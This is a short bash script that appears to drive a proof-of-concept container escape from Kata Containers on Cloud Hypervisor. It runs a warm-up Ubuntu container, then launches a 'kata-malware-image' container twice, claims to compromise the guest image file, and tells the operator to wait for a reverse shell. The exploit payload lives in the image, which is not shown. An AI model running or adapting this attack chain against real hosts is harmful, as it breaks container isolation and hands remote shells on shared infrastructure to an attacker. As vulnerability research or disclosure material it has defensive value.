#!/bin/bash

set -e

# warm up
echo "[*] Running an Ubuntu container to warm up..."
docker run --rm ubuntu uname -a

echo "[*] Exploiting to escape kata..."

echo "[*] Running malicious container with kata on CLH..."
docker run --rm --name stage1 kata-malware-image:latest

echo "[+] Guest image file has been compromised"

echo "[*] Running malicious container with kata on CLH once again..."
docker run --rm -d --name stage2 kata-malware-image:latest

echo "[+] Done. Now you can wait for the reverse shell :)"
